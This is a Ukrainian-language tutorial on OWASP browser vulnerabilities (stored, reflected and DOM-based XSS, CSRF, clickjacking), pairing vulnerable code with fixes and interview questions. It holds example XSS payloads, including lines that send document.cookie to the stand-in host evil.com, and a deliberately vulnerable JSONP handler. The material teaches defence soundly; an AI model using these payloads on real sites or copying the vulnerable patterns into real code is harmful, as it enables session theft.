Skip to main content

Вразливості браузерів OWASP

Вразливості браузерів OWASP - це клієнтські помилки безпеки у веб-додатках, через які зловмисник може вкрасти cookies, захопити сесію або примусити користувача виконати дії, яких той ніколи не планував.

Теорія

TL;DR

  • XSS: зловмисник вставляє <script> тег у твій DOM, браузер виконує його з повним доступом до cookies та localStorage
  • CSRF: зловмисник змушує браузер надіслати автентифікований запит до сервера, використовуючи автоматичне прикріплення cookies
  • Clickjacking: прозорий iframe накладається на справжню кнопку, і клік «отримати приз» потрапляє на «підтвердити переказ»
  • Виправлення XSS: textContent замість innerHTML, DOMPurify перед innerHTML, CSP з nonce
  • Виправлення CSRF: SameSite=Strict на session cookie, CSRF-токени для форм з крос-доменним доступом

Швидкий приклад

html
<input id="q" placeholder="Пошук..."> <div id="result"></div> <script> // ВРАЗЛИВО: innerHTML передає рядок HTML-парсеру // Ввід: <img src=x onerror=alert(document.cookie)> // Результат: браузер виконує onerror, cookie вкрадено document.getElementById('q').oninput = (e) => { document.getElementById('result').innerHTML = e.target.value; }; // БЕЗПЕЧНО: textContent повністю обходить парсер // Ввід: <img src=x onerror=alert(document.cookie)> // Результат: буквальний рядок відображається, нічого не виконується document.getElementById('q').oninput = (e) => { document.getElementById('result').textContent = e.target.value; }; </script>

innerHTML передає значення HTML-парсеру Chrome, який будує DOM-вузли та запускає обробники подій. textContent створює звичайний текстовий вузол і не торкається парсера.

Різновиди XSS

Stored XSS зберігає payload в базі даних. Коментар, збережений як <script>fetch('https://evil.com?c='+document.cookie)</script>, спрацює для кожного користувача, який завантажить сторінку. Це найнебезпечніший різновид, бо він масштабується автоматично.

Reflected XSS живе в URL. Сервер відображає параметр запиту напряму в HTML без екранування, і браузер виконує його. Класичний приклад: ?q=<script>alert(1)</script> вставлений у шаблон сторінки без обробки.

DOM-based XSS ніколи не досягає сервера. Payload знаходиться в хеші URL, і клієнтський JavaScript зчитує location.hash та записує в DOM. Оскільки сервер ніколи не бачить #, серверна санітизація повністю пропускає цей тип. Захист потрібно будувати на клієнті.

CSRF: браузер як мимовільний посланець

Браузер прикріплює відповідні cookies до кожного запиту, незалежно від того, звідки той надійшов. CSRF цим і користується. Зловмисник розміщує сторінку, яка відправляє POST на https://yourbank.com/transfer?amount=5000&to=attacker. Жертва заходить туди в авторизованому стані, і браузер надсилає session cookie без вагань.

Атрибут SameSite=Strict на session cookie забороняє браузеру надсилати cookies при крос-доменних запитах. Це блокує атаку ще до того, як сервер її побачить. Для API, яким потрібен крос-доменний доступ, поєднуй SameSite=Lax з CSRF-токеном: секрет вбудований у форму, перевірений на сервері перед обробкою.

Clickjacking: що бачиш і що натискаєш

Зловмисник завантажує твою сторінку в прозорому iframe, розміщеному точно над кнопкою «отримати приз» на своїй сторінці. Користувач думає, що натискає приз. Насправді він активує «підтвердити переказ» на твоїй.

Заголовок X-Frame-Options: DENY каже браузерам відмовити у відображенні сторінки всередині будь-якого фрейму. Сучасна заміна - Content-Security-Policy: frame-ancestors 'none', яка дає той самий результат і гнучкіша в налаштуванні.

Огляд атак

АтакаТочка входуЩо отримує зловмисникВиправлення
Stored XSSБаза данихВиконується при кожному завантаженні для всіх користувачівDOMPurify, textContent, CSP
Reflected XSSПараметр URLВиконується коли жертва клікає посилання зловмисникаСерверне екранування, CSP
DOM-based XSSХеш URLВиконується на клієнті, сервер не бачитьКлієнтська санітизація, textContent
CSRFКрос-доменна форма або fetchВиконує дії від імені авторизованого користувачаSameSite=Strict, CSRF-токени
ClickjackingНакладання iframeЖертва клікає не те, що думаєX-Frame-Options, frame-ancestors
MITMМережевий трафікЧитає або змінює весь трафікHTTPS, HSTS
SQL-ін'єкціяРядки запитівЧитання, запис або видалення з БДПараметризовані запити, ORM

Коли застосовувати який захист

  • Текст користувача рендериться як HTML → DOMPurify.sanitize() перед innerHTML; або переходь на textContent якщо форматування не потрібне
  • Endpoint-и, що змінюють стан (POST, PUT, DELETE) → SameSite=Strict cookie плюс серверний CSRF-токен
  • Сторонні скрипти або реклама → CSP з білим списком доменів і nonce для кожного запиту
  • Будь-яка сторінка, яку можна вставити в iframe → X-Frame-Options: DENY або Content-Security-Policy: frame-ancestors 'none'
  • npm-залежності → npm audit у CI; замінюй пакети з відкритими CVE

Як браузер обробляє впроваджену розмітку

HTML-парсер Chrome читає документ зліва направо і будує DOM-дерево вузол за вузлом. Коли він знаходить неекранований тег <script> або атрибут події на зразок onerror, він ставить JavaScript у чергу event loop. Цей скрипт виконується всередині контексту виконання сторінки з повним доступом до document.cookie, window.localStorage і кожного DOM-елемента. Same-Origin Policy (правило однакового походження) блокує крос-доменне читання, але скрипт, що вже виконується всередині твого origin, не має таких обмежень. Ось і вся модель загрози.

Типові помилки

Санітизація на сервері, вставка сирого HTML на клієнті. Сервер відправляє &lt;script&gt;, клієнт виконує element.innerHTML = data. HTML-парсер декодує &lt; назад у < і виконує тег. Серверне екранування працює лише якщо ти також використовуєш textContent на клієнті або пропускаєш дані через DOMPurify перед зверненням до innerHTML.

javascript
// Помилка: сервер екранує, клієнт розекрановує const safeFromServer = '&lt;script&gt;alert(1)&lt;/script&gt;'; element.innerHTML = safeFromServer; // Браузер перепарсить, скрипт спрацює // Виправлення element.textContent = safeFromServer; // Буквальний текст, нічого не виконується

CSP з unsafe-inline. Додавання script-src 'unsafe-inline' до Content Security Policy перетворює весь заголовок на формальність. Вбудовані блоки <script> все одно виконуються. Замість цього використовуй nonce:

html
<!-- Сервер генерує новий nonce для кожного запиту --> <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-rAnd0m123'"> <!-- Виконуються лише скрипти з цим точним nonce --> <script nonce="rAnd0m123"> // легітимний код </script>

Забуття DOM-based XSS з URL-фрагментів. #<img src=x onerror=alert(1)> повністю обходить сервер, бо хеш ніколи не надсилається в HTTP-запитах. Якщо код зчитує location.hash і записує в DOM, санітизація обов'язкова на клієнті:

javascript
// Вразливо const payload = location.hash.slice(1); document.getElementById('content').innerHTML = payload; // Безпечно import DOMPurify from 'dompurify'; const payload = decodeURIComponent(location.hash.slice(1)); document.getElementById('content').innerHTML = DOMPurify.sanitize(payload);

HttpOnly без Secure. HttpOnly забороняє JavaScript читати cookies. Але через звичайний HTTP MITM-атака все одно може їх перехопити. Повна комбінація:

Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict

Відсутність CSRF-захисту на endpoint-ах, що змінюють стан. GET-запити не повинні змінювати стан. POST, PUT та DELETE потребують або SameSite=Strict cookie, або серверно-перевіреного CSRF-токена. Перевірка лише заголовка Referer не є надійною, бо проксі та privacy-інструменти його видаляють.

Де це зустрічається в реальних проектах

  • React: dangerouslySetInnerHTML лише з DOMPurify.sanitize(text), поширено в Markdown-рендерерах для блог-платформ
  • Express: middleware helmet налаштовує CSP, X-Frame-Options, HSTS та інші заголовки безпеки одним викликом
  • Angular: автоматично екранує прив'язки в шаблонах; DomSanitizer.bypassSecurityTrustHtml() у code review - привід зупинитися
  • Vue: v-html несе ті самі ризики що й dangerouslySetInnerHTML; санітизуй перед передачею значення
  • CI/CD: OWASP ZAP можна додати до pipeline для автоматичного сканування на XSS та ін'єкції при кожному деплої

Питання на співбесіді

Q: Яка різниця між Stored, Reflected та DOM-based XSS?
A: Stored зберігається в базі даних і спрацьовує для кожного відвідувача. Reflected потребує від жертви кліку по спеціально підготовленому URL. DOM-based ніколи не досягає сервера - payload знаходиться в хеші URL, і клієнтський JS записує його в DOM.

Q: Як CSP знижує ризик XSS?
A: CSP задає білий список джерел, з яких браузер може завантажувати скрипти. script-src 'self' блокує все, що не з твого origin, включаючи вбудовані теги та eval. Nonce прив'язує кожен дозволений вбудований скрипт до випадкового значення, згенерованого сервером на кожен запит. Навіть якщо зловмисник вставить <script> тег, без дійсного nonce браузер відмовить у виконанні.

Q: Як захиститись від CSRF без токенів?
A: SameSite=Strict cookies взагалі забороняють браузеру надсилати облікові дані при крос-доменних запитах. Власний заголовок на зразок X-Requested-With: XMLHttpRequest також допомагає, бо прості крос-доменні форми не можуть встановлювати власні заголовки без CORS preflight.

Q: Що захищає від clickjacking якщо CSP не налаштовано?
A: X-Frame-Options: DENY - запасний варіант. Він каже браузерам відмовити у завантаженні сторінки всередині будь-якого iframe. SAMEORIGIN дозволяє фреймінг лише з того ж домену. Директива CSP frame-ancestors - сучасна заміна з більш гнучкими правилами.

Q: Кандидат каже «санітизуй введення для захисту від XSS». Що додає senior-рівень?
A: Контекстно-залежне екранування. Один і той самий рядок потребує різної обробки залежно від місця призначення: тіло HTML, значення атрибута, JavaScript-рядок, параметр URL або CSS-властивість. Payload безпечний в одному контексті може бути небезпечним в іншому. DOMPurify обробляє це коректно; ручний regex - майже ніколи.

Q: Спроектуй систему коментарів з підтримкою Markdown та emoji, захищену від XSS.
A: Парс Markdown на сервері за допомогою бібліотеки на зразок markdown-it з налаштуванням видалення сирих HTML-тегів. Відправляй отриманий HTML клієнту. На клієнті пропускай через DOMPurify перед вставкою в DOM. Роздавай сторінки з CSP на основі nonce без unsafe-inline. Обмежуй частоту публікацій і логуй payload-и, що спрацювали санітизатор, для подальшої перевірки.

Приклади

XSS: вразливий та безпечний пошук

html
<!DOCTYPE html> <html> <body> <input id="search" placeholder="Пошук..."> <div id="result"></div> <script> const result = document.getElementById('result'); const input = document.getElementById('search'); // ВРАЗЛИВО: HTML-парсер будує справжні вузли з рядка // Спробуй: <img src=x onerror=alert(document.cookie)> // Результат: onerror спрацьовує, cookie витікає input.oninput = (e) => { result.innerHTML = e.target.value; }; // БЕЗПЕЧНО: лише текстовий вузол, без парсингу // Спробуй: <img src=x onerror=alert(document.cookie)> // Результат: буквальний рядок відображається, нічого не виконується input.oninput = (e) => { result.textContent = e.target.value; }; </script> </body> </html>

Головна відмінність: innerHTML просить HTML-парсер інтерпретувати рядок. textContent створює текстовий вузол напряму. Один шлях веде до виконання коду, інший - ні.

React: коментарі з rich text в продакшені

jsx
import DOMPurify from 'dompurify'; // npm install dompurify // ВРАЗЛИВО: HTML під контролем користувача рендериться без санітизації function CommentList({ comments }) { return ( <ul> {comments.map(c => ( <li key={c.id} dangerouslySetInnerHTML={{ __html: c.text }} // c.text з БД: '<img src=x onerror=fetch("https://evil.com?c="+document.cookie)>' // Кожен відвідувач передає свій session cookie зловмиснику /> ))} </ul> ); } // БЕЗПЕЧНО: DOMPurify видаляє обробники подій та небезпечні атрибути function SafeCommentList({ comments }) { return ( <ul> {comments.map(c => ( <li key={c.id} dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(c.text) }} // onerror, onclick, javascript: URL видалені перед рендером // Безпечний HTML як <strong> або <em> проходить нормально /> ))} </ul> ); }

Назва dangerouslySetInnerHTML обрана навмисно. React хоче, щоб ти зупинився і подумав. Якщо контент надходить від користувачів або ненадійного API, між даними і prop обов'язково стоїть DOMPurify. В моїй практиці більшість XSS-багів у React-додатках з'являється не при першому написанні, а через кілька місяців, коли хтось додає innerHTML у новому компоненті не перевіривши, чи санітизація вже є десь у ланцюгу.

Просунутий приклад: JSONP endpoint як вектор XSS

javascript
// Express handler - ВРАЗЛИВИЙ // Зловмисник викликає: GET /api/data?callback=alert(document.cookie)// app.get('/api/data', (req, res) => { const callback = req.query.callback; res.setHeader('Content-Type', 'application/javascript'); // Виводить: alert(document.cookie)//({data:'safe'}); // Браузер завантажує це як тег <script> і виконує res.send(`${callback}(${JSON.stringify({ data: 'safe' })});`); }); // БЕЗПЕЧНИЙ: білий список дозволених назв callback const ALLOWED_CALLBACKS = new Set(['onDataLoaded', 'handleResult']); app.get('/api/data', (req, res) => { const callback = req.query.callback; if (!ALLOWED_CALLBACKS.has(callback)) { return res.status(400).json({ error: 'Невалідна назва callback' }); } res.setHeader('Content-Type', 'application/javascript'); res.send(`${callback}(${JSON.stringify({ data: 'safe' })});`); });

JSONP - здебільшого застарілий патерн, замінений CORS, але він досі зустрічається в кодових базах, що не оновлювались з 2015 року. Параметр callback - це прямий шлях до виконання коду, якщо ти відображаєш його без перевірки. Білий список вирішує проблему. Якщо ти контролюєш і клієнт, і сервер, відмовся від JSONP повністю та налаштуй CORS належним чином.

Коротка відповідь

Для співбесіди
Premium

Коротка відповідь допоможе вам впевнено відповідати на цю тему під час співбесіди.

Дочитали статтю?